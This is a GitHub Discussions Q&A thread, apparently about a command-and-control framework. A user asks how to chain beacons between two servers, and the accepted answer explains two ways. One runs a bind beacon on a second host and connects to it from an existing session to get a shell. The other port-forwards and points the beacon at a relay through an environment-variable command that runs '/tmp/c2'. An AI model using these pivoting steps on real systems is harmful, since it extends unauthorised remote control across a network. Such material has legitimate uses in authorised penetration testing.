Skip to content

Can anyone pease help me setup a beacon peer? #201

Answered by gloxec
pentester2222 asked this question in Q&A
Discussion options

You must be logged in to vote

There are two possible solutions here:

Suppose Server1's IP = 10.0.0.4, Server2's IP = 10.0.0.5

  1. Generate a linux-bind type beacon, and then run ./bind-beacon <4444> on Server2 (when the port is not specified, the default is 4444 listening port), and then on the session of Server1, run connect 10.0.0.5:4444. In this way, a child node session of server2 can be obtained, and simple shell commands can be executed

  2. Perform port forwarding on Server1, use iptables or other open source tools, and then regenerate the beacon pointing to Server1 IP(10.0.0.4). Or use environment variables to change communication export CCHOST=10.0.0.4 && export CCPORT=1443 && /tmp/c2

Replies: 1 comment

Comment options

You must be logged in to vote
0 replies
Answer selected by pentester2222
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Category
Q&A
Labels
None yet
2 participants